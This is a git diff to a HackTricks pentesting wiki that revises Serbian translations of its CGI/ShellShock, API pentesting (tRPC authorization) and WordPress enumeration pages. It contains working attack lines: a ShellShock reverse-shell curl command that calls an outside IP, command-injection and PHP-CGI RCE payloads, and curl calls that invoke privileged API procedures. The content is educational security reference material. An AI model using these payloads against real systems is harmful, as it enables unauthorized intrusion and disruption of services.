mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's
This commit is contained in:
parent
c9b7eeeaeb
commit
4e8621255f
Binary file not shown.
Before Width: | Height: | Size: 6.5 KiB |
BIN
src/images/k8studio.png
Normal file
BIN
src/images/k8studio.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 87 KiB |
File diff suppressed because it is too large
Load Diff
@ -3,22 +3,22 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Informacije
|
||||
## Information
|
||||
|
||||
The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **change the extension** from **.pl** to **.cgi**, give **execute permissions** \(`chmod +x`\) and **access** the reverse shell **from the web browser** to execute it.
|
||||
In order to test for **CGI vulns** it's recommended to use `nikto -C all` \(and all the plugins\)
|
||||
The **CGI scripts are perl scripts**, tako da, ako ste kompromitovali server koji može da izvršava _**.cgi**_ skripte, možete **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **change the extension** sa **.pl** na **.cgi**, dodeliti **execute permissions** \(`chmod +x`\) i **access** the reverse shell **from the web browser** da ga izvršite.
|
||||
Za testiranje **CGI vulns** preporučuje se korišćenje `nikto -C all` \(i svih plugina\)
|
||||
|
||||
## **ShellShock**
|
||||
|
||||
**ShellShock** je ranjivost koja pogađa široko korišćeni komandni tumač **Bash** na operativnim sistemima zasnovanim na Unixu. Cilja sposobnost Basha da izvršava komande prosleđene od strane aplikacija. Ranjivost leži u manipulaciji **environment variables**, koje su dinamičke imenovane vrednosti koje utiču na to kako se procesi izvršavaju na računaru. Napadači to mogu iskoristiti prikačeći **malicious code** na environment variables, koji se izvršava pri prihvatanju promenljive. Ovo napadačima omogućava potencijalno kompromitovanje sistema.
|
||||
**ShellShock** je **ranjivost** koja utiče na široko korišćenu **Bash** komandnu ljusku u operativnim sistemima zasnovanim na Unixu. Cilja sposobnost **Bash** da izvršava komande prosleđene od strane aplikacija. Ranjivost leži u manipulaciji **varijablama okruženja**, koje su dinamičke imenovane vrednosti koje utiču na to kako procesi rade na računaru. Napadači mogu iskoristiti ovo dodavanjem **zlonamernog koda** u varijable okruženja, koji se izvršava prilikom prijema promenljive. Ovo omogućava napadačima da potencijalno kompromituju sistem.
|
||||
|
||||
Eksploatisanjem ove ranjivosti stranica bi mogla baciti grešku.
|
||||
Eksploatacijom ove ranjivosti stranica može vratiti grešku.
|
||||
|
||||
Možete **pronaći** ovu ranjivost primetivši da se koristi **stara verzija Apache** i **cgi_mod** \(with cgi folder\) ili koristeći **nikto**.
|
||||
Možete pronaći ovu ranjivost primetivši da koristi **old Apache version** i **cgi_mod** \(sa cgi folderom\) ili koristeći **nikto**.
|
||||
|
||||
### **Test**
|
||||
|
||||
Većina testova se zasniva na echo nečega i očekuje da se taj string vrati u web odgovoru. Ako mislite da stranica može biti ranjiva, pretražite sve cgi stranice i testirajte ih.
|
||||
Većina testova se zasniva na korišćenju echo i očekuje da se taj string vrati u web odgovoru. Ako mislite da stranica može biti ranjiva, pretražite sve cgi stranice i testirajte ih.
|
||||
|
||||
**Nmap**
|
||||
```bash
|
||||
@ -51,17 +51,17 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
|
||||
> set rhosts 10.1.2.11
|
||||
> run
|
||||
```
|
||||
## Centralizovani CGI dispatcher-i (routiranje jednog endpointa preko parametara selektora)
|
||||
## Centralizovani CGI dispatcheri (single endpoint routing via selector parameters)
|
||||
|
||||
Mnogi ugrađeni web UI-i multiplexuju desetine privilegovanih akcija iza jednog CGI endpointa (na primer, `/cgi-bin/cstecgi.cgi`) i koriste parametar selektora kao što je `topicurl=<handler>` da usmere zahtev ka internoj funkciji.
|
||||
Mnogi ugrađeni web UI multiplexuju desetine privilegovanih akcija iza jednog CGI endpoint-a (na primer, `/cgi-bin/cstecgi.cgi`) i koriste selector parameter kao što je `topicurl=<handler>` da rutuju zahtev ka internoј funkciji.
|
||||
|
||||
Metodologija za iskorišćavanje ovih dispatcher-a:
|
||||
Metodologija za eksploataciju ovih routera:
|
||||
|
||||
- Enumeriši imena handlera: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher.
|
||||
- Testiraj dostupnost bez autentifikacije: neki handleri zaborave auth provere i mogu se pozvati direktno.
|
||||
- Fokusiraj se na handlere koji pozivaju system utilities ili rade sa fajlovima; slabi validatori često blokiraju samo nekoliko karaktera i mogu propustiti vodeći hyphen `-`.
|
||||
- Enumerišite imena handlera: scrape JS/HTML, brute-force with wordlists, ili raspakujte firmware i grep-ujte za handler stringove koje koristi dispatcher.
|
||||
- Testirajte unauthenticated reachability: neki handleri zaborave auth checks i mogu se pozvati direktno.
|
||||
- Fokusirajte se na handlere koji invoke system utilities ili touch fajlove; slabi validatori često blokiraju samo par karaktera i mogu propustiti vodeći znak `-`.
|
||||
|
||||
Generic exploit shapes:
|
||||
Generički oblici exploit-a:
|
||||
```http
|
||||
POST /cgi-bin/cstecgi.cgi HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
@ -75,31 +75,32 @@ topicurl=setEasyMeshAgentCfg&agentName=;id;
|
||||
# 3) Validator bypass → arbitrary file write in file-touching handlers
|
||||
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
|
||||
```
|
||||
Detekcija i ojačavanje:
|
||||
Detekcija i hardening:
|
||||
|
||||
- Pazite na neautentifikovane zahteve ka centralizovanim CGI endpoint-ima sa `topicurl` postavljenim na osetljive obrađivače.
|
||||
- Označite parametre koji počinju sa `-` (pokušaji injektovanja argv opcija).
|
||||
- Dobavljači: zahtevajte autentifikaciju za sve obrađivače koji menjaju stanje, vršite validaciju koristeći stroge allowlists/tipove/dužine, i nikada ne prosleđujte stringove pod kontrolom korisnika kao command-line flagove.
|
||||
- Pazite na neautentifikovane zahteve ka centralizovanim CGI endpoint-ovima sa `topicurl` postavljenim na osetljive handlere.
|
||||
- Označite parametre koji počinju sa `-` (argv option injection attempts).
|
||||
- Proizvođači: zahtevajte autentifikaciju za sve handlere koji menjaju stanje, validirajte koristeći stroge allowlists/tipove/dužine, i nikada ne prosleđujte korisnički kontrolisane stringove kao command-line flags.
|
||||
|
||||
## Stari PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
|
||||
|
||||
U suštini, ako je cgi aktivan i php je "star" \(<5.3.12 / < 5.4.2\) možete izvršiti kod.
|
||||
Da biste iskoristili ovu ranjivost morate pristupiti nekom PHP fajlu web servera bez slanja parametara \(posebno bez slanja karaktera "="\).
|
||||
Zatim, da biste testirali ovu ranjivost, možete pristupiti na primer `/index.php?-s` \(obratite pažnju na `-s`\) i **izvorni kod aplikacije će se pojaviti u odgovoru**.
|
||||
U suštini, ako je CGI aktivan i PHP je "old" (<5.3.12 / < 5.4.2) možete izvršiti kod.
|
||||
Da biste iskoristili ovu ranjivost, morate pristupiti nekom PHP fajlu na web serveru bez slanja parametara (posebno bez slanja karaktera "=").
|
||||
Zatim, da biste testirali ovu ranjivost, možete pristupiti, na primer, `/index.php?-s` (primetite `-s`) i **izvorni kod aplikacije će se pojaviti u odgovoru**.
|
||||
|
||||
Zatim, da biste dobili **RCE** možete poslati ovaj specijalni upit: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` i **PHP kod** koji treba da se izvrši smešten je u **telu zahteva. Primer:**
|
||||
Zatim, da biste dobili **RCE** možete poslati ovaj specijalni upit: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` i **PHP kod** koji treba izvršiti staviti u **telo zahteva.
|
||||
Example:**
|
||||
```bash
|
||||
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
|
||||
```
|
||||
**Više informacija o vuln i mogućim exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
|
||||
|
||||
## **Proxy \(MitM prema Web server zahteva\)**
|
||||
## **Proxy \(MitM za zahteve Web servera\)**
|
||||
|
||||
CGI kreira promenljivu okruženja za svako zaglavlje u HTTP zahtevu. Na primer: "host:web.com" se kreira kao "HTTP_HOST"="web.com"
|
||||
CGI kreira promenljivu okruženja za svaki header u HTTP requestu. Na primer: "host:web.com" se kreira kao "HTTP_HOST"="web.com"
|
||||
|
||||
Pošto HTTP_PROXY promenljiva može biti korišćena od strane web servera, pokušajte da pošaljete **zaglavlje** koje sadrži: "**Proxy: <IP_attacker>:<PORT>**". Ako server izvrši bilo koji zahtev tokom sesije, moći ćete da presretnete svaki zahtev koji server napravi.
|
||||
Budući da web server može koristiti promenljivu HTTP_PROXY, pokušajte poslati **header** koji sadrži: "**Proxy: <IP_attacker>:<PORT>**". Ako server izvrši bilo koji request tokom sesije, moći ćete da presretnete svaki request koji server napravi.
|
||||
|
||||
## **Referencije**
|
||||
## **Reference**
|
||||
|
||||
- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
|
||||
|
||||
|
@ -2,54 +2,96 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Pentesting Metodologija - Sažetak
|
||||
## API Pentesting Methodology Summary
|
||||
|
||||
Pentesting API-ja uključuje strukturirani pristup otkrivanju ranjivosti. Ovaj vodič obuhvata sveobuhvatnu metodologiju, naglašavajući praktične tehnike i alate.
|
||||
Pentesting APIs zahteva strukturisan pristup za otkrivanje ranjivosti. Ovaj vodič sažima sveobuhvatnu metodologiju, sa naglaskom na praktične tehnike i alate.
|
||||
|
||||
### **Razumevanje Tipova API-ja**
|
||||
### **Understanding API Types**
|
||||
|
||||
- **SOAP/XML Web Servisi**: Koriste WSDL format za dokumentaciju, obično se nalaze na `?wsdl` putanjama. Alati kao što su **SOAPUI** i **WSDLer** (Burp Suite Extension) su ključni za parsiranje i generisanje zahteva. Primer dokumentacije je dostupan na [DNE Online](http://www.dneonline.com/calculator.asmx).
|
||||
- **REST API (JSON)**: Dokumentacija često dolazi u WADL datotekama, ali alati kao što je [Swagger UI](https://swagger.io/tools/swagger-ui/) pružaju korisnički prijatniji interfejs za interakciju. **Postman** je koristan alat za kreiranje i upravljanje primerima zahteva.
|
||||
- **GraphQL**: Jezik upita za API-je koji nudi potpunu i razumljivu opis podataka u vašem API-ju.
|
||||
- **SOAP/XML Web Services**: Koriste WSDL format za dokumentaciju, obično dostupan na `?wsdl` putanjama. Alati kao što su **SOAPUI** i **WSDLer** (Burp Suite Extension) su korisni za parsiranje i generisanje zahteva. Primer dokumentacije dostupan je na [DNE Online](http://www.dneonline.com/calculator.asmx).
|
||||
- **REST APIs (JSON)**: Dokumentacija često dolazi u WADL fajlovima, ali alati poput [Swagger UI](https://swagger.io/tools/swagger-ui/) obezbeđuju pristupačniji interfejs za interakciju. **Postman** je vredan alat za kreiranje i upravljanje primerima zahteva.
|
||||
- **GraphQL**: Je query language za API-je koji pruža potpun i razumljiv opis podataka u vašem API-ju.
|
||||
|
||||
### **Praktične Laboratorije**
|
||||
### **Practice Labs**
|
||||
|
||||
- [**VAmPI**](https://github.com/erev0s/VAmPI): Namerno ranjiv API za praktičnu obuku, pokrivajući OWASP top 10 API ranjivosti.
|
||||
- [**VAmPI**](https://github.com/erev0s/VAmPI): Namerno ranjiv API za praktičnu vežbu, pokrivajući OWASP top 10 API ranjivosti.
|
||||
|
||||
### **Efikasne Tehnike za API Pentesting**
|
||||
### **Effective Tricks for API Pentesting**
|
||||
|
||||
- **SOAP/XML Ranjivosti**: Istražite XXE ranjivosti, iako su DTD deklaracije često ograničene. CDATA tagovi mogu omogućiti umetanje payload-a ako XML ostane validan.
|
||||
- **Povećanje Privilegija**: Testirajte krajnje tačke sa različitim nivoima privilegija kako biste identifikovali mogućnosti neovlašćenog pristupa.
|
||||
- **CORS Pogrešne Konfiguracije**: Istražite CORS podešavanja za potencijalnu iskoristivost kroz CSRF napade iz autentifikovanih sesija.
|
||||
- **Otkriće Krajnjih Tačaka**: Iskoristite API obrasce za otkrivanje skrivenih krajnjih tačaka. Alati kao što su fuzzers mogu automatizovati ovaj proces.
|
||||
- **Manipulacija Parametrima**: Eksperimentišite sa dodavanjem ili zamenom parametara u zahtevima kako biste pristupili neovlašćenim podacima ili funkcionalnostima.
|
||||
- **Testiranje HTTP Metoda**: Varirajte metode zahteva (GET, POST, PUT, DELETE, PATCH) kako biste otkrili neočekivana ponašanja ili otkrivanje informacija.
|
||||
- **Manipulacija Content-Type**: Prebacujte se između različitih tipova sadržaja (x-www-form-urlencoded, application/xml, application/json) kako biste testirali probleme sa parsiranjem ili ranjivosti.
|
||||
- **Napredne Tehnike Parametara**: Testirajte sa neočekivanim tipovima podataka u JSON payload-ima ili se igrajte sa XML podacima za XXE injekcije. Takođe, pokušajte sa zagađenjem parametara i karakterima sa zvezdicom za šire testiranje.
|
||||
- **Testiranje Verzija**: Starije verzije API-ja mogu biti podložnije napadima. Uvek proverite i testirajte protiv više verzija API-ja.
|
||||
- **SOAP/XML Vulnerabilities**: Istražite XXE ranjivosti, iako su DTD deklaracije često ograničene. CDATA tagovi mogu dozvoliti umetanje payload-a ako XML ostane validan.
|
||||
- **Privilege Escalation**: Testirajte endpoint-e sa različitim nivoima privilegija da identifikujete mogućnosti neautorizovanog pristupa.
|
||||
- **CORS Misconfigurations**: Ispitajte CORS podešavanja zbog potencijalne iskoristivosti kroz CSRF napade iz autentifikovanih sesija.
|
||||
- **Endpoint Discovery**: Iskoristite obrasce API-ja za otkrivanje skrivenih endpoint-a. Alati poput fuzzer-a mogu automatizovati ovaj proces.
|
||||
- **Parameter Tampering**: Eksperimentišite sa dodavanjem ili zamenom parametara u zahtevima da biste pristupili neautorizovanim podacima ili funkcionalnostima.
|
||||
- **HTTP Method Testing**: Menjajte metode zahteva (GET, POST, PUT, DELETE, PATCH) da otkrijete neočekivana ponašanja ili curenja informacija.
|
||||
- **Content-Type Manipulation**: Prebacujte se između različitih content-type-a (x-www-form-urlencoded, application/xml, application/json) da testirate probleme sa parsiranjem ili ranjivosti.
|
||||
- **Advanced Parameter Techniques**: Testirajte sa neočekivanim tipovima podataka u JSON payload-ima ili se igrajte sa XML podacima za XXE injekcije. Takođe, isprobajte parameter pollution i wildcard karaktere za šire testiranje.
|
||||
- **Version Testing**: Starije verzije API-ja mogu biti podložnije napadima. Uvek proverite i testirajte protiv više verzija API-ja.
|
||||
|
||||
### **Alati i Resursi za API Pentesting**
|
||||
### Autorizacija i poslovna logika (AuthN != AuthZ) — tRPC/Zod protectedProcedure zamke
|
||||
|
||||
- [**kiterunner**](https://github.com/assetnote/kiterunner): Odličan za otkrivanje API krajnjih tačaka. Koristite ga za skeniranje i brute force putanja i parametara protiv ciljanih API-ja.
|
||||
Moderni TypeScript stack-ovi često koriste tRPC sa Zod za validaciju input-a. U tRPC-u, `protectedProcedure` obično osigurava da zahtev ima validnu sesiju (autentikaciju) ali ne implicira da pozivalac ima odgovarajuću rolu/permision (autorizaciju). Ova neusaglašenost dovodi do Broken Function Level Authorization/BOLA ako su osetljive procedure zaštićene samo pomoću `protectedProcedure`.
|
||||
|
||||
- Threat model: Bilo koji autentifikovani korisnik sa niskim privilegijama može pozvati procedure namenjene adminu ako nedostaju provere role/permisiona (npr. background migrations, feature flags, tenant-wide maintenance, job control).
|
||||
- Black-box signal: `POST /api/trpc/<router>.<procedure>` endpoint-i koji uspevaju za osnovne naloge kada bi trebali biti samo za admin-e. Samouslužna registracija znatno povećava mogućnost eksploatacije.
|
||||
- Typical tRPC route shape (v10+): JSON body wrapped under `{"input": {...}}`.
|
||||
|
||||
Example vulnerable pattern (no role/permission gate):
|
||||
```ts
|
||||
// The endpoint for retrying a migration job
|
||||
// This checks for a valid session (authentication)
|
||||
retry: protectedProcedure
|
||||
// but not for an admin role (authorization).
|
||||
.input(z.object({ name: z.string() }))
|
||||
.mutation(async ({ input, ctx }) => {
|
||||
// Logic to restart a sensitive migration
|
||||
}),
|
||||
```
|
||||
Praktična eksploatacija (black-box)
|
||||
|
||||
1) Registrujte običan nalog i obezbedite autentifikovanu sesiju (cookies/headers).
|
||||
2) Enumerišite pozadinske poslove ili druge osetljive resurse putem “list”/“all”/“status” procedura.
|
||||
```bash
|
||||
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.all' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-b '<AUTH_COOKIES>' \
|
||||
--data '{"input":{}}'
|
||||
```
|
||||
3) Izvršiti privilegovane akcije, kao što je ponovno pokretanje zadatka:
|
||||
```bash
|
||||
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.retry' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-b '<AUTH_COOKIES>' \
|
||||
--data '{"input":{"name":"<migration_name>"}}'
|
||||
```
|
||||
Impact to assess
|
||||
|
||||
- Oštećenje podataka usled ponovnih pokretanja koja nisu idempotentna: Forsiranje istovremenih izvršavanja migrations/workers može izazvati race conditions i nedosledna parcijalna stanja (neprimetan gubitak podataka, pokvarena analitika).
|
||||
- DoS putem iscrpljivanja worker/DB resursa: Ponavljanim pokretanjem teških poslova može se iscrpeti pool worker-a i konekcije prema bazi podataka, izazivajući prekide usluge za ceo tenant.
|
||||
|
||||
### **Alati i resursi za API Pentesting**
|
||||
|
||||
- [**kiterunner**](https://github.com/assetnote/kiterunner): Odličan za otkrivanje API endpoint-a. Koristite ga za skeniranje i brute force putanja i parametara protiv ciljnih API-ja.
|
||||
```bash
|
||||
kr scan https://domain.com/api/ -w routes-large.kite -x 20
|
||||
kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
|
||||
kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
|
||||
kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
|
||||
```
|
||||
- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj je alat za komandnu liniju dizajniran da pomogne u reviziji **izloženih Swagger/OpenAPI definicija** proverom povezanih API krajnjih tačaka na slabu autentifikaciju. Takođe pruža šablone komandi za ručno testiranje ranjivosti.
|
||||
- Dodatni alati kao što su **automatic-api-attack-tool**, **Astra** i **restler-fuzzer** nude prilagođene funkcionalnosti za testiranje sigurnosti API-ja, od simulacije napada do fuzzinga i skeniranja ranjivosti.
|
||||
- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): To je alat za sigurnost API-ja koji vrši reviziju vašeg API-ja na osnovu OAS datoteke (alat napisan u rustu).
|
||||
- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj je command line alat dizajniran da pomogne pri auditu **izloženih Swagger/OpenAPI definition files** proverom povezanih API endpoints za slabu autentifikaciju. Takođe pruža šablone komandi za manuelno testiranje ranjivosti.
|
||||
- Dodatni alati kao što su **automatic-api-attack-tool**, **Astra**, i **restler-fuzzer** pružaju specijalizovane funkcionalnosti za API security testing, od simulacije napada do fuzzing-a i skeniranja ranjivosti.
|
||||
- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): To je API security alat koji vrši audit vašeg API-ja na osnovu OAS fajla (alat je napisan u Rust).
|
||||
|
||||
### **Resursi za učenje i praksu**
|
||||
### **Resursi za učenje i vežbu**
|
||||
|
||||
- **OWASP API Security Top 10**: Osnovno štivo za razumevanje uobičajenih ranjivosti API-ja ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
|
||||
- **API Security Checklist**: Sveobuhvatna lista za osiguranje API-ja ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
|
||||
- **Logger++ Filters**: Za pronalaženje ranjivosti API-ja, Logger++ nudi korisne filtre ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
|
||||
- **API Endpoints List**: Kurirana lista potencijalnih API krajnjih tačaka za testiranje ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
|
||||
- **OWASP API Security Top 10**: Neophodno štivo za razumevanje uobičajenih ranjivosti API-ja ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
|
||||
- **API Security Checklist**: Sveobuhvatna kontrolna lista za osiguravanje API-ja ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
|
||||
- **Logger++ Filters**: Za otkrivanje ranjivosti API-ja, Logger++ nudi korisne filtere ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
|
||||
- **API Endpoints List**: Kurirana lista potencijalnih API endpoints za potrebe testiranja ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
|
||||
|
||||
## Reference
|
||||
|
||||
- [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire)
|
||||
- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,49 +4,49 @@
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
- **Otpremljeni fajlovi se nalaze na:** `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Fajlovi tema se nalaze u /wp-content/themes/,** tako da ako promenite neki php iz teme da dobijete RCE verovatno ćete koristiti taj put. Na primer: Koristeći **theme twentytwelve** možete **pristupiti** fajlu **404.php** u: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes files can be found in /wp-content/themes/,** pa ako izmenite neki php teme da biste dobili RCE verovatno ćete koristiti taj put. Na primer: Koristeći **theme twentytwelve** možete **access** fajl **404.php** na: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Još jedan koristan url može biti:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- U **wp-config.php** možete pronaći root lozinku baze podataka.
|
||||
- Podrazumevane putanje za login koje treba proveriti: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
- U **wp-config.php** možete naći root lozinku baze podataka.
|
||||
- Podrazumevani login putevi za proveru: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Glavni WordPress fajlovi**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` sadrži korisne informacije kao što je verzija WordPress-a koja je instalirana.
|
||||
- `wp-activate.php` se koristi za proces aktivacije putem email-a prilikom podešavanja novog WordPress sajta.
|
||||
- Folderi za login (mogu biti preimenovani da bi se sakrili):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` je fajl koji predstavlja funkcionalnost WordPress-a koja omogućava prenos podataka koristeći HTTP kao transportni mehanizam i XML kao mehanizam kodiranja. Ovaj način komunikacije je zamenjen WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- Folder `wp-content` je glavni direktorijum gde su smešteni dodaci i teme.
|
||||
- `wp-content/uploads/` je direktorijum gde se čuvaju svi fajlovi otpremljeni na platformu.
|
||||
- `wp-includes/` je direktorijum gde su smešteni core fajlovi, kao što su sertifikati, fontovi, JavaScript fajlovi i widgeti.
|
||||
- `wp-sitemap.xml` U WordPress verzijama 5.5 i novijim, WordPress generiše sitemap XML fajl sa svim javnim postovima i javno upitnim tipovima postova i taksonomijama.
|
||||
- `license.txt` sadrži korisne informacije kao što je verzija WordPress koja je instalirana.
|
||||
- `wp-activate.php` se koristi za email aktivacioni proces prilikom podešavanja novog WordPress sajta.
|
||||
- Login folderi (mogu biti preimenovani da bi se sakrili):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` je fajl koji predstavlja funkcionalnost WordPress-a koja omogućava prenos podataka koristeći HTTP kao transportni mehanizam i XML kao encoding mehanizam. Ova vrsta komunikacije je zamenjena WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- Folder `wp-content` je glavni direktorijum gde se čuvaju plugins i themes.
|
||||
- `wp-content/uploads/` je direktorijum gde se čuvaju fajlovi otpremljeni na platformu.
|
||||
- `wp-includes/` je direktorijum gde se nalaze core fajlovi, kao što su certificates, fonts, JavaScript fajlovi i widgets.
|
||||
- `wp-sitemap.xml` U Wordpress verzijama 5.5 i novijim, WordPress generiše sitemap XML fajl sa svim javnim postovima i javno queryable post tipovima i taksonomijama.
|
||||
|
||||
**Post exploitation**
|
||||
|
||||
- Fajl `wp-config.php` sadrži informacije potrebne WordPress-u za povezivanje sa bazom podataka kao što su ime baze, database host, korisničko ime i lozinka, authentication keys i salts, i prefiks tabela u bazi. Ovaj konfiguracioni fajl se takođe može koristiti za aktiviranje DEBUG moda, što može biti korisno pri rešavanju problema.
|
||||
- Fajl `wp-config.php` sadrži informacije potrebne WordPress-u za konekciju sa bazom podataka kao što su ime baze, host baze, korisničko ime i lozinka, authentication keys i salts, i prefix tabela baze. Ovaj konfiguracioni fajl se takođe može koristiti za aktiviranje DEBUG moda, što može biti korisno pri otklanjanju problema.
|
||||
|
||||
### Dozvole korisnika
|
||||
|
||||
- **Administrator**
|
||||
- **Editor**: Objavljuje i upravlja sopstvenim i tuđim postovima
|
||||
- **Editor**: Objavljuje i upravlja svojim i tuđim postovima
|
||||
- **Author**: Objavljuje i upravlja sopstvenim postovima
|
||||
- **Contributor**: Piše i upravlja svojim postovima, ali ne može da ih objavi
|
||||
- **Contributor**: Piše i upravlja svojim postovima ali ne može da ih objavi
|
||||
- **Subscriber**: Pregleda postove i uređuje svoj profil
|
||||
|
||||
## **Pasivna enumeracija**
|
||||
|
||||
### **Dobijanje WordPress verzije**
|
||||
### **Dobijanje verzije WordPress-a**
|
||||
|
||||
Proverite da li možete pronaći fajlove `/license.txt` ili `/readme.html`
|
||||
|
||||
U izvornom kodu stranice (primer sa [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
U **izvornom kodu** stranice (primer sa [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
|
||||
- grep
|
||||
```bash
|
||||
@ -72,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### Izvlačenje verzija uopšteno
|
||||
### Izdvajanje verzija uopšteno
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
@ -81,15 +81,15 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
|
||||
### Dodaci i teme
|
||||
|
||||
Verovatno nećete moći da pronađete sve dostupne dodatke i teme. Da biste otkrili sve, moraćete da **aktivno Brute Force listu dodataka i tema** (nadamo se da postoje automatizovani alati koji sadrže te liste).
|
||||
Verovatno nećete moći da pronađete sve plugine i teme koje su moguće. Da biste otkrili sve, moraćete da **aktivno Brute Force-ujete listu plugina i tema** (nadamo se da postoje automatizovani alati koji sadrže te liste).
|
||||
|
||||
### Korisnici
|
||||
|
||||
- **ID Brute:** Dobijate važeće korisnike sa WordPress sajta putem Brute Forcing-a korisničkih ID-jeva:
|
||||
- **ID Brute:** Dobijate validne korisnike sa WordPress sajta Brute Forcing-om ID-eva korisnika:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
Ako su odgovori **200** ili **30X**, to znači da je id **validan**. Ako je odgovor **400**, onda je id **nevalidan**.
|
||||
Ako su odgovori **200** ili **30X**, to znači da je id **važeći**. Ako je odgovor **400**, id je **nevažeći**.
|
||||
|
||||
- **wp-json:** Takođe možete pokušati da dobijete informacije o korisnicima upitom:
|
||||
```bash
|
||||
@ -99,19 +99,19 @@ Još jedan `/wp-json/` endpoint koji može otkriti neke informacije o korisnicim
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Imajte na umu da ovaj endpoint izlaže samo korisnike koji su objavili post. **Biće dostupne samo informacije o korisnicima koji imaju omogućenu ovu funkciju**.
|
||||
